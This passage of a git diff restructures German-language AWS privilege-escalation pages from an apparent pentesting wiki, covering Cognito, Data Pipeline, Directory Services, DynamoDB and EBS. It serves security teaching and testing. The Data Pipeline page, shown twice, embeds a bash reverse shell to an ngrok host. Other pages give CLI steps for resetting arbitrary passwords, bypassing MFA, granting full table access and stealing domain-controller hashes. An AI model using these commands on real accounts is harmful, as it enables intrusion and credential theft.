+--username <value>
+```
+**Mögliche Auswirkungen:** Indirekter privesc auf die identity pool IAM role für authentifizierte Benutzer und die Berechtigungen des Benutzers, falls ein Angreifer Anmeldeinformationen eines deaktivierten Benutzers besitzt.
+
+### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
+
+Diese Berechtigung ermöglicht das Einloggen mit der [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Für weitere Informationen dem Link folgen.
+
+### `cognito-idp:AdminSetUserPassword`
+
+Diese Berechtigung würde einem Angreifer erlauben, **das Passwort beliebiger Benutzer zu ändern**, wodurch er sich als beliebige Benutzer ausgeben könnte (die keine MFA aktiviert haben).
+```bash
+aws cognito-idp admin-set-user-password \
+--user-pool-id <value> \
+--username <value> \
+--password <value> \
+--permanent
+```
+**Mögliche Auswirkungen:** Direkter privesc auf potenziell jeden Benutzer, also Zugriff auf alle Gruppen, deren Mitglied jeder Benutzer ist, und Zugriff auf die Identity Pool authenticated IAM role.
+
+### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
+
+**AdminSetUserSettings**: Ein Angreifer könnte diese Berechtigung möglicherweise missbrauchen, um ein Mobiltelefon unter seiner Kontrolle als **SMS MFA eines Benutzers** festzulegen.
+```bash
+aws cognito-idp admin-set-user-settings \
+--user-pool-id <value> \
+--username <value> \
+--mfa-options <value>
+```
+**SetUserMFAPreference:** Ähnlich wie bei der vorherigen kann diese Berechtigung verwendet werden, um die MFA-Präferenzen eines Benutzers zu setzen und so die MFA protection zu bypass.
+```bash
+aws cognito-idp admin-set-user-mfa-preference \
+[--sms-mfa-settings <value>] \
+[--software-token-mfa-settings <value>] \
+--username <value> \
+--user-pool-id <value>
+```
+**SetUserPoolMfaConfig**: Ähnlich wie beim vorherigen Eintrag kann diese Berechtigung verwendet werden, um die MFA-Einstellungen eines user pools zu setzen und den MFA-Schutz zu bypass.
+```bash
+aws cognito-idp set-user-pool-mfa-config \
+--user-pool-id <value> \
+[--sms-mfa-configuration <value>] \
+[--software-token-mfa-configuration <value>] \
+[--mfa-configuration <value>]
+```
+**UpdateUserPool:** Es ist außerdem möglich, den user pool zu aktualisieren, um die MFA-Richtlinie zu ändern. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+
+**Potential Impact:** Indirekter privesc gegen potenziell jeden user, dessen credentials der attacker kennt; dies könnte es ermöglichen, den MFA-Schutz zu bypassen.
+
+### `cognito-idp:AdminUpdateUserAttributes`
+
+Ein attacker mit dieser Berechtigung könnte die email oder phone number oder jedes andere attribute eines user unter seiner Kontrolle ändern, um zu versuchen, in einer zugrunde liegenden application mehr Privilegien zu erlangen.\
+Dies ermöglicht, eine email oder phone number zu ändern und als verified zu setzen.
+```bash
+aws cognito-idp admin-update-user-attributes \
+--user-pool-id <value> \
+--username <value> \
+--user-attributes <value>
+```
+**Potentielle Auswirkungen:** Potentielle indirekte privesc in der zugrunde liegenden Anwendung, die einen Cognito User Pool verwendet und Berechtigungen basierend auf Benutzerattributen vergibt.
+
+### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
+
+Ein Angreifer mit dieser Berechtigung könnte **einen neuen User Pool Client erstellen, der weniger eingeschränkt ist** als bereits vorhandene Pool-Clients. Zum Beispiel könnte der neue Client beliebige Authentifizierungsmethoden erlauben, kein secret haben, die token revocation deaktiviert haben und Tokens für einen längeren Zeitraum gültig lassen...
+
+Dasselbe kann passieren, wenn statt eines neuen Clients ein **bestehender verändert** wird.
+
+In der [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (oder beim [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) siehst du alle Optionen, schau es dir an!
+```bash
+aws cognito-idp create-user-pool-client \
+--user-pool-id <value> \
+--client-name <value> \
+[...]
+```
+**Mögliche Auswirkungen:** Indirekte privesc des Identity Pool-autorisierten Benutzers, der vom User Pool verwendet wird, indem ein neuer Client erstellt wird, der die Sicherheitsmaßnahmen lockert und es einem Angreifer ermöglicht, sich mit einem Benutzer einzuloggen, den er erstellen konnte.
+
+### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
+
+Ein Angreifer könnte diese Berechtigung missbrauchen, um Benutzer zu erstellen, indem er eine csv mit neuen Benutzern hochlädt.
+```bash
+# Create a new import job
+aws cognito-idp create-user-import-job \
+--job-name <value> \
+--user-pool-id <value> \
+--cloud-watch-logs-role-arn <value>
+
+# Use a new import job
+aws cognito-idp start-user-import-job \
+--user-pool-id <value> \
+--job-id <value>
+
+# Both options before will give you a URL where you can send the CVS file with the users to create
+curl -v -T "PATH_TO_CSV_FILE" \
+-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
+```
+(Falls man einen neuen Import-Job erstellt, könnte man außerdem die iam passrole permission benötigen; das habe ich noch nicht getestet.)
+
+**Mögliche Auswirkungen:** Direktes privesc auf die identity pool IAM role für authentifizierte Benutzer. Indirektes privesc auf andere App-Funktionalitäten, die beliebige Benutzer erstellen können.
+
+### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
+
+Ein Angreifer könnte einen neuen identity provider erstellen, um sich anschließend **über diesen Provider anzumelden**.
+```bash
+aws cognito-idp create-identity-provider \
+--user-pool-id <value> \
+--provider-name <value> \
+--provider-type <value> \
+--provider-details <value> \
+[--attribute-mapping <value>] \
+[--idp-identifiers <value>]
+```
+**Mögliche Auswirkungen:** Direkter privesc auf die identity pool IAM role für authentifizierte Benutzer. Indirekter privesc auf andere App-Funktionen, die das Erstellen beliebiger Benutzer ermöglichen können.
+
+### cognito-sync:\* Analyse
+
+Dies ist eine sehr häufige Berechtigung, standardmäßig in Rollen von Cognito Identity Pools. Selbst wenn ein Wildcard in Berechtigungen immer schlecht aussieht (insbesondere bei AWS), sind die **gegebenen Berechtigungen aus Sicht eines Angreifers nicht besonders nützlich**.
+
+Diese Berechtigung erlaubt das Lesen von Nutzungsinformationen der Identity Pools und der Identity IDs innerhalb der Identity Pools (was keine sensiblen Informationen sind).\
+Identity IDs können [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) zugewiesen haben, die Informationen über Sessions sind (AWS definiert es wie ein **saved game**). Es kann möglich sein, dass diese irgendeine Art von sensiblen Informationen enthalten (aber die Wahrscheinlichkeit ist ziemlich gering). Du findest auf der [**enumeration page**](../../aws-services/aws-cognito-enum/index.html), wie man auf diese Informationen zugreift.
+
+Ein Angreifer könnte diese Berechtigungen auch nutzen, um sich selbst in einen Cognito stream einzuschreiben, der Änderungen an diesen datases veröffentlicht, oder eine lambda, die bei cognito events ausgelöst wird. Ich habe das noch nie in der Praxis gesehen und würde hier nicht mit sensiblen Informationen rechnen, aber es ist nicht unmöglich.
+
+### Automatische Tools
+
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, enthält jetzt die Module "cognito\_\_enum" und "cognito\_\_attack", die die Enumeration aller Cognito-Ressourcen in einem Account automatisieren und schwache Konfigurationen, für Zugriffskontrolle verwendete Benutzerattribute etc. markieren, sowie die Benutzererstellung (inkl. MFA-Unterstützung) und privilege escalation basierend auf änderbaren custom attributes, nutzbaren identity pool credentials, assumable roles in id tokens usw. automatisieren.
+
+Für eine Beschreibung der Funktionen der Module siehe part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Für Installationsanweisungen siehe die Hauptseite [Pacu](https://github.com/RhinoSecurityLabs/pacu).
+
+#### Verwendung
+
+Beispielhafte cognito\_\_attack-Verwendung, um die Erstellung von Benutzern und alle privesc-Vektoren gegen einen bestimmten identity pool und user pool client zu versuchen:
+```bash
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
+59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
+```
+Beispielhafte Verwendung von cognito\_\_enum, um alle user pools, user pool clients, identity pools, users usw. zu sammeln, die im aktuellen AWS-Konto sichtbar sind:
+```bash
+Pacu (new:test) > run cognito__enum
+```
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) ist ein CLI-Tool in python, das verschiedene Angriffe auf Cognito implementiert, einschließlich einer privesc escalation.
+
+#### Installation
+```bash
+$ pip install cognito-scanner
+```
+#### Verwendung
+```bash
+$ cognito-scanner --help
+```
+Für weitere Informationen siehe [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
deleted file mode 100644
index 6545fef87..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ /dev/null
@@ -1,68 +0,0 @@
-# AWS - Datapipeline Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## datapipeline
-
-Für weitere Informationen über datapipeline siehe:
-
-{{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
-{{#endref}}
-
-### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
-
-Benutzer mit diesen **Berechtigungen können Privilegien erhöhen, indem sie eine Data Pipeline erstellen**, um beliebige Befehle mit den **Berechtigungen der zugewiesenen Rolle** auszuführen:
-```bash
-aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
-```
-Nach der Erstellung der Pipeline aktualisiert der Angreifer deren Definition, um spezifische Aktionen oder Ressourcenerstellungen festzulegen:
-```json
-{
-"objects": [
-{
-"id": "CreateDirectory",
-"type": "ShellCommandActivity",
-"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
-"runsOn": { "ref": "instance" }
-},
-{
-"id": "Default",
-"scheduleType": "ondemand",
-"failureAndRerunMode": "CASCADE",
-"name": "Default",
-"role": "assumable_datapipeline",
-"resourceRole": "assumable_datapipeline"
-},
-{
-"id": "instance",
-"name": "instance",
-"type": "Ec2Resource",
-"actionOnTaskFailure": "terminate",
-"actionOnResourceFailure": "retryAll",
-"maximumRetries": "1",
-"instanceType": "t2.micro",
-"securityGroups": ["default"],
-"role": "assumable_datapipeline",
-"resourceRole": "assumable_ec2_profile_instance"
-}
-]
-}
-```
-> [!NOTE]
-> Beachten Sie, dass die **Rolle** in **Zeile 14, 15 und 27** eine Rolle sein muss, die **von datapipeline.amazonaws.com übernommen werden kann**, und die Rolle in **Zeile 28** muss eine **Rolle sein, die von ec2.amazonaws.com mit einem EC2-Profil-Instanz übernommen werden kann**.
->
-> Darüber hinaus hat die EC2-Instanz nur Zugriff auf die Rolle, die von der EC2-Instanz übernommen werden kann (Sie können also nur diese stehlen).
-```bash
-aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
---pipeline-definition file:///pipeline/definition.json
-```
-Die **Pipeline-Definitionsdatei, die vom Angreifer erstellt wurde, enthält Anweisungen zur Ausführung von Befehlen** oder zur Erstellung von Ressourcen über die AWS-API, wobei die Rollenberechtigungen der Data Pipeline genutzt werden, um potenziell zusätzliche Berechtigungen zu erlangen.
-
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zur angegebenen EC2-Dienstrolle.
-
-## Referenzen
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
new file mode 100644
index 000000000..7f88c6bd4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
@@ -0,0 +1,68 @@
+# AWS - Datapipeline Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## datapipeline
+
+Für weitere Informationen zu datapipeline siehe:
+
+{{#ref}}
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
+
+Benutzer mit diesen **Berechtigungen können Privilegien eskalieren, indem sie eine Data Pipeline erstellen**, um beliebige Befehle mit den **Berechtigungen der zugewiesenen Rolle** auszuführen:
+```bash
+aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
+```
+Nach der Erstellung der pipeline aktualisiert der Angreifer die Definition, um bestimmte Aktionen oder Ressourcenerstellungen vorzugeben:
+```json
+{
+"objects": [
+{
+"id": "CreateDirectory",
+"type": "ShellCommandActivity",
+"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
+"runsOn": { "ref": "instance" }
+},
+{
+"id": "Default",
+"scheduleType": "ondemand",
+"failureAndRerunMode": "CASCADE",
+"name": "Default",
+"role": "assumable_datapipeline",
+"resourceRole": "assumable_datapipeline"
+},
+{
+"id": "instance",
+"name": "instance",
+"type": "Ec2Resource",
+"actionOnTaskFailure": "terminate",
+"actionOnResourceFailure": "retryAll",
+"maximumRetries": "1",
+"instanceType": "t2.micro",
+"securityGroups": ["default"],
+"role": "assumable_datapipeline",
+"resourceRole": "assumable_ec2_profile_instance"
+}
+]
+}
+```
+> [!NOTE]
+> Beachte, dass die **role** in **Zeile 14, 15 und 27** eine role sein muss, die **von datapipeline.amazonaws.com übernommen werden kann**, und die role in **Zeile 28** eine **role** sein muss, die **von ec2.amazonaws.com mit einem EC2 profile instance übernommen werden kann**.
+>
+> Außerdem hat die EC2-Instanz nur Zugriff auf die role, die von der EC2-Instanz übernommen werden kann (du kannst also nur diese stehlen).
+```bash
+aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
+--pipeline-definition file:///pipeline/definition.json
+```
+Die **Pipeline-Definitionsdatei, vom Angreifer erstellt, enthält Anweisungen zur Ausführung von Befehlen** oder zum Erstellen von Ressourcen über die AWS API, wobei die Rollenberechtigungen von Data Pipeline ausgenutzt werden, um möglicherweise zusätzliche Privilegien zu erlangen.
+
+**Mögliche Auswirkung:** Direkter privesc auf die angegebene ec2-Service-Rolle.
+
+## Referenzen
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
deleted file mode 100644
index 95a06fe8f..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - Directory Services Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Verzeichnisdienste
-
-Für weitere Informationen zu Verzeichnisdiensten siehe:
-
-{{#ref}}
-../aws-services/aws-directory-services-workdocs-enum.md
-{{#endref}}
-
-### `ds:ResetUserPassword`
-
-Diese Berechtigung erlaubt es, das **Passwort** eines **vorhandenen** Benutzers im Active Directory zu **ändern**.\
-Standardmäßig ist der einzige vorhandene Benutzer **Admin**.
-```
-aws ds reset-user-password --directory-id <id> --user-name Admin --new-password Newpassword123.
-```
-### AWS Management Console
-
-Es ist möglich, eine **Anwendungszugriffs-URL** zu aktivieren, auf die Benutzer aus AD zugreifen können, um sich anzumelden:
-
-<figure><img src="../../../images/image (244).png" alt=""><figcaption></figcaption></figure>
-
-Und dann **ihnen eine AWS IAM-Rolle zu gewähren**, wenn sie sich anmelden, sodass ein AD-Benutzer/eine AD-Gruppe Zugriff auf die AWS Management Console hat:
-
-<figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
-
-Offensichtlich gibt es keinen Weg, die Anwendungszugriffs-URL, die AWS Management Console zu aktivieren und Berechtigungen zu gewähren.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md
new file mode 100644
index 000000000..8c93436fb
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md
@@ -0,0 +1,32 @@
+# AWS - Verzeichnisdienste Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Verzeichnisdienste
+
+Weitere Informationen zu Verzeichnisdiensten:
+
+{{#ref}}
+../../aws-services/aws-directory-services-workdocs-enum.md
+{{#endref}}
+
+### `ds:ResetUserPassword`
+
+Diese Berechtigung erlaubt es, das **Passwort** jedes **vorhandenen** Benutzers im Active Directory zu **ändern**.\
+Standardmäßig ist der einzige vorhandene Benutzer **Admin**.
+```
+aws ds reset-user-password --directory-id <id> --user-name Admin --new-password Newpassword123.
+```
+### AWS Management Console
+
+Es ist möglich, eine **application access URL** zu aktivieren, auf die Benutzer aus AD zugreifen können, um sich anzumelden:
+
+<figure><img src="../../../images/image (244).png" alt=""><figcaption></figcaption></figure>
+
+Und ihnen dann **weisen ihnen eine AWS IAM role zu** für den Fall, dass sie sich anmelden — so hat ein AD-Benutzer/-gruppe Zugriff auf die AWS Management Console:
+
+<figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
+
+Anscheinend gibt es keine Möglichkeit, die application access URL und die AWS Management Console zu aktivieren und Berechtigungen zu vergeben
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
deleted file mode 100644
index 963c413df..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ /dev/null
@@ -1,72 +0,0 @@
-# AWS - DynamoDB Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## dynamodb
-
-Für weitere Informationen zu dynamodb siehe:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-### `dynamodb:PutResourcePolicy`, und optional `dynamodb:GetResourcePolicy`
-
-Seit März 2024 bietet AWS *ressourcenbasierte Richtlinien* für DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
-
-Wenn Sie also die `dynamodb:PutResourcePolicy` für eine Tabelle haben, können Sie sich selbst oder einem anderen Principal einfach vollen Zugriff auf die Tabelle gewähren.
-
-Das Gewähren der `dynamodb:PutResourcePolicy` an einen zufälligen Principal geschieht oft versehentlich, wenn die Administratoren denken, dass das Gewähren von `dynamodb:Put*` nur dem Principal erlauben würde, Elemente in die Datenbank einzufügen - oder wenn sie dieses Berechtigungsset vor März 2024 gewährt haben...
-
-Idealerweise haben Sie auch `dynamodb:GetResourcePolicy`, sodass Sie keine anderen potenziell wichtigen Berechtigungen überschreiben, sondern nur die zusätzlichen Berechtigungen injizieren, die Sie benötigen:
-```bash
-# get the current resource based policy (if it exists) and save it to a file
-aws dynamodb get-resource-policy \
---resource-arn <table_arn> \
---query 'Policy' \
---output text > policy.json
-```
-Wenn Sie die aktuelle Richtlinie nicht abrufen können, verwenden Sie einfach diese, die Ihrem Principal vollen Zugriff auf die Tabelle gewährt:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "FullAccessToDynamoDBTable",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
-},
-"Action": [
-"dynamodb:*"
-],
-"Resource": [
-"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
-]
-}
-]
-}
-```
-Wenn Sie es anpassen müssen, finden Sie hier eine Liste aller möglichen DynamoDB-Aktionen: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Und hier ist eine Liste aller Aktionen, die über eine ressourcenbasierte Richtlinie erlaubt werden können *UND welche davon kontenübergreifend verwendet werden können (denken Sie an Datenexfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
-
-Jetzt, da das Richtliniendokument `policy.json` bereit ist, fügen Sie die Ressourcenrichtlinie hinzu:
-```bash
-# put the new policy using the prepared policy file
-# dynamodb does weirdly not allow a direct file upload
-aws dynamodb put-resource-policy \
---resource-arn <table_arn> \
---policy "$(cat policy.json)"
-```
-Jetzt sollten Sie die benötigten Berechtigungen haben.
-
-### Post-Exploitation
-
-Soweit ich weiß, gibt es **keinen anderen direkten Weg, um Berechtigungen in AWS nur durch einige AWS `dynamodb`-Berechtigungen zu eskalieren**. Sie können **sensible** Informationen aus den Tabellen lesen (die AWS-Anmeldeinformationen enthalten könnten) und **Informationen in die Tabellen schreiben** (was andere Schwachstellen auslösen könnte, wie z.B. Lambda-Code-Injektionen...), aber all diese Optionen sind bereits auf der **DynamoDB Post-Exploitation-Seite** berücksichtigt:
-
-{{#ref}}
-../aws-post-exploitation/aws-dynamodb-post-exploitation.md
-{{#endref}}
-
-### TODO: Daten lesen durch Missbrauch von Datenströmen
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md
new file mode 100644
index 000000000..8fb1a33f3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md
@@ -0,0 +1,72 @@
+# AWS - DynamoDB Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## dynamodb
+
+Für mehr Informationen zu dynamodb siehe:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### `dynamodb:PutResourcePolicy`, und optional `dynamodb:GetResourcePolicy`
+
+Seit März 2024 bietet AWS *resource based policies* für DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)) an.
+
+Wenn du also `dynamodb:PutResourcePolicy` für eine Tabelle hast, kannst du dir selbst oder jedem anderen principal einfach vollen Zugriff auf die Tabelle gewähren.
+
+Das Gewähren von `dynamodb:PutResourcePolicy` an einen zufälligen principal passiert häufig aus Versehen, wenn die Admins denken, dass das Gewähren von `dynamodb:Put*` dem principal nur erlauben würde, Items in die Datenbank zu schreiben – oder wenn sie dieses Permissionset vor März 2024 vergeben haben...
+
+Idealerweise hast du auch `dynamodb:GetResourcePolicy`, damit du nicht andere potenziell wichtige Berechtigungen überschreibst, sondern nur die zusätzlichen Berechtigungen injizierst, die du brauchst:
+```bash
+# get the current resource based policy (if it exists) and save it to a file
+aws dynamodb get-resource-policy \
+--resource-arn <table_arn> \
+--query 'Policy' \
+--output text > policy.json
+```
+Wenn du die aktuelle Policy nicht abrufen kannst, verwende einfach diese, die deinem Principal vollen Zugriff auf die Tabelle gewährt:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "FullAccessToDynamoDBTable",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
+},
+"Action": [
+"dynamodb:*"
+],
+"Resource": [
+"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
+]
+}
+]
+}
+```
+Wenn du es anpassen musst, findest du hier eine Liste aller möglichen DynamoDB-Aktionen: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Und hier eine Liste aller Aktionen, die über eine resource based policy erlaubt werden können *UND welche davon cross-account genutzt werden können (think data exfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
+
+Nun, da das Policy-Dokument `policy.json` bereit ist, setze die resource policy:
+```bash
+# put the new policy using the prepared policy file
+# dynamodb does weirdly not allow a direct file upload
+aws dynamodb put-resource-policy \
+--resource-arn <table_arn> \
+--policy "$(cat policy.json)"
+```
+Nun solltest du die benötigten Berechtigungen haben.
+
+### Post Exploitation
+
+Soweit ich weiß gibt es **keinen anderen direkten Weg, Privilegien in AWS allein durch einige AWS `dynamodb`-Berechtigungen zu erhöhen**. Du kannst **sensible Informationen aus den Tabellen lesen** (die AWS credentials enthalten könnten) und **Informationen in die Tabellen schreiben** (was andere Schwachstellen auslösen könnte, wie lambda code injections...), aber all diese Optionen werden bereits in der **DynamoDB Post Exploitation page** berücksichtigt:
+
+{{#ref}}
+../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
+{{#endref}}
+
+### TODO: Daten aus Streams auslesen
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
deleted file mode 100644
index 23de00a1a..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# AWS - EBS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EBS
-
-### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
-
-Ein Angreifer mit diesen Berechtigungen wird in der Lage sein, **Volumes-Snapshots lokal herunterzuladen und zu analysieren** und nach sensiblen Informationen darin zu suchen (wie Geheimnisse oder Quellcode). Finden Sie heraus, wie Sie dies tun können in:
-
-{{#ref}}
-../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
-{{#endref}}
-
-Andere Berechtigungen könnten ebenfalls nützlich sein, wie: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
-
-Das Tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) führt diesen Angriff durch, um **Passwörter von einem Domänencontroller zu extrahieren**.
-
-**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen im Snapshot (Sie könnten sogar Active Directory-Passwörter erhalten).
-
-### **`ec2:CreateSnapshot`**
-
-Jeder AWS-Benutzer, der die Berechtigung **`EC2:CreateSnapshot`** besitzt, kann die Hashes aller Domänenbenutzer stehlen, indem er einen **Snapshot des Domänencontrollers** erstellt, ihn an eine Instanz anbindet, die er kontrolliert, und die **NTDS.dit und SYSTEM** Registrierungs-Hive-Datei für die Verwendung mit dem Impacket-Projekt secretsdump exportiert.
-
-Sie können dieses Tool verwenden, um den Angriff zu automatisieren: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) oder Sie könnten eine der vorherigen Techniken nach dem Erstellen eines Snapshots verwenden.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md
new file mode 100644
index 000000000..29d04644b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md
@@ -0,0 +1,27 @@
+# AWS - EBS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EBS
+
+### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
+
+Ein Angreifer mit diesen Berechtigungen kann potenziell **Volumesnapshots lokal herunterladen und analysieren** und darin nach sensiblen Informationen suchen (z. B. Geheimnisse oder Quellcode). Siehe, wie man das macht in:
+
+{{#ref}}
+../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+{{#endref}}
+
+Weitere Berechtigungen können ebenfalls nützlich sein, wie z. B.: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
+
+Das Tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) führt diesen Angriff durch, um **Passwörter von einem Domänencontroller zu extrahieren**.
+
+**Potential Impact:** Indirekte Privilegieneskalation durch Auffinden sensibler Informationen im Snapshot (du könntest sogar Active Directory-Passwörter erhalten).
+
+### **`ec2:CreateSnapshot`**
+
+Jeder AWS-Benutzer mit der Berechtigung **`EC2:CreateSnapshot`** kann die Hashes aller Domänenbenutzer stehlen, indem er einen **Snapshot des Domänencontrollers** erstellt, ihn an eine von ihm kontrollierte Instanz anhängt und die **NTDS.dit und die SYSTEM-Registry-Hive-Datei** exportiert, um sie mit Impacket's secretsdump zu verwenden.
+
